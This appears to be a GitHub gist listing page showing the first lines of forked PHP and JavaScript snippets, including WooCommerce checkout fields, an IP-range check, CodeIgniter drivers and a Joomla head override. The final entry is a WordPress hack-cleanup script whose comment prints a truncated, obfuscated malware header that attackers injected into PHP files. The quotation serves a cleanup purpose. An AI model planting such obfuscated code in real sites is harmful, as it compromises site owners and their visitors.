Skip to content

Instantly share code, notes, and snippets.

View kevin50406418's full-sized avatar

Jing Xun Lai kevin50406418

  • 127.0.0.1
View GitHub Profile
@kevin50406418
kevin50406418 / index.js
Created May 7, 2017 08:05 — forked from edokeh/index.js
佛祖保佑,永无 BUG
//
// _oo0oo_
// o8888888o
// 88" . "88
// (| -_- |)
// 0\ = /0
// ___/`---'\___
// .' \\| |// '.
// / \\||| : |||// \
// / _||||| -:- |||||- \
@kevin50406418
kevin50406418 / woocommerce-checkout-fields-for-TW.php
Created April 22, 2017 15:27 — forked from nczz/woocommerce-checkout-fields-for-TW.php
調整適合在台灣銷售的 WooCommerce 結帳頁表單欄位(含郵遞區號自動選擇)
<?php
function mxp_custom_override_checkout_fields($fields) {
$fields['billing']['billing_first_name'] = array(
'label' => __('姓名', 'mxp-wc-checkout-fields-custom'),
'placeholder' => _x('姓名', 'placeholder', 'mxp-wc-checkout-fields-custom'),
'required' => true,
'class' => array('form-row-first'),
'clear' => true,
);
$fields['shipping']['shipping_first_name'] = array(
@kevin50406418
kevin50406418 / ip_in_range.php
Created April 11, 2017 17:40 — forked from tott/ip_in_range.php
php check if IP is in given network range
/**
* Check if a given ip is in a network
* @param string $ip IP to check in IPV4 format eg. 127.0.0.1
* @param string $range IP/CIDR netmask eg. 127.0.0.0/24, also 127.0.0.1 is accepted and /32 assumed
* @return boolean true if the ip is in this range / false if not.
*/
function ip_in_range( $ip, $range ) {
if ( strpos( $range, '/' ) == false ) {
$range .= '/32';
}
@kevin50406418
kevin50406418 / QRLogo.php
Created April 10, 2017 17:18 — forked from NTICompass/QRLogo.php
QR Code + Logo Generator
<?php
/**
* QR Code + Logo Generator
*
* http://labs.nticompassinc.com
*/
$data = isset($_GET['data']) ? $_GET['data'] : 'http://labs.nticompassinc.com';
$size = isset($_GET['size']) ? $_GET['size'] : '200x200';
$logo = isset($_GET['logo']) ? $_GET['logo'] : FALSE;
@kevin50406418
kevin50406418 / gw-gravity-forms-advanced-conditional-logic.php
Created February 25, 2017 15:23 — forked from spivurno/gw-gravity-forms-advanced-conditional-logic.php
Gravity Wiz // Gravity Forms // Advanced Conditional Logic
<?php
/**
* Gravity Wiz // Gravity Forms // Advanced Conditional Logic
*
* Allows multiple groups of conditional logic per field.
*
* @version 0.1
* @author David Smith <david@gravitywiz.com>
* @license GPL-2.0+
* @link http://gravitywiz.com/
@kevin50406418
kevin50406418 / MY_DB_mysql_driver.php
Created September 28, 2016 07:26 — forked from stevenwoodson/MY_DB_mysql_driver.php
Codeigniter DB - Insert on Duplicate Update method Generates a platform-specific insert string from the supplied data, MODIFIED to include ON DUPLICATE UPDATE
<?php if (! defined('BASEPATH')) exit('No direct script access allowed');
class MY_DB_mysql_driver extends CI_DB_mysql_driver {
final public function __construct($params) {
parent::__construct($params);
}
/**
* Insert_On_Duplicate_Update_Batch
@kevin50406418
kevin50406418 / MY_DB_mysqli_driver.php
Created September 28, 2016 07:25 — forked from kurozumi/MY_DB_mysqli_driver.php
【CodeIgniter3】MySQLiドライバにINSERT ON DUPLICATE KEY UPDATE 構文によるバッチ処理を追加する
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
class MY_DB_mysqli_driver extends CI_DB_mysqli_driver {
final public function __construct($params)
{
parent::__construct($params);
}
@kevin50406418
kevin50406418 / email.php
Created March 6, 2016 17:33 — forked from waifung0207/email.php
CodeIgniter email config file (Mailgun custom domain + TLS)
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/*
| -------------------------------------------------------------------
| EMAIL CONFING
| -------------------------------------------------------------------
| Configuration of outgoing mail server.
| */
$config['protocol'] = 'smtp';
@kevin50406418
kevin50406418 / index.php
Created October 12, 2015 16:48 — forked from proweb/index.php
HTML 5 Joomla head override - Переписываем вывод HEAD для Joomla 2.5 в соответствии со стандартами HTML5
<?php
// no direct access
defined('_JEXEC') or die;
// Variables
$doc = JFactory::getDocument();
$user = JFactory::getUser();
$template = 'templates/' . $this->template;
// get html head data
@kevin50406418
kevin50406418 / wordpress-hack-cleanup.php
Created October 12, 2015 16:15 — forked from owise1/wordpress-hack-cleanup.php
Hacked Wordpress Cleanup Script
<?
/**
* A script to cleanup a hacked Wordpress site.
*
* The hacker prepended the following to most/all of the .php files:
* <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $uispnwkeuy = 'c%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sbx7825))!gj!<*#cd2bge56+99386c825tzw%x5c%x782f%x5c%75%156%x61"]=1; functio8y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvx7825<#g6R85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuop%x785c2^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5cpd%x5c%x78256<pd%x5c%x7825w6Zj%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]2212]445]43]321]464]284]364]6]234]342]58]24]315c%x5c%x7825j^%x5c%x7824-%x5c%x782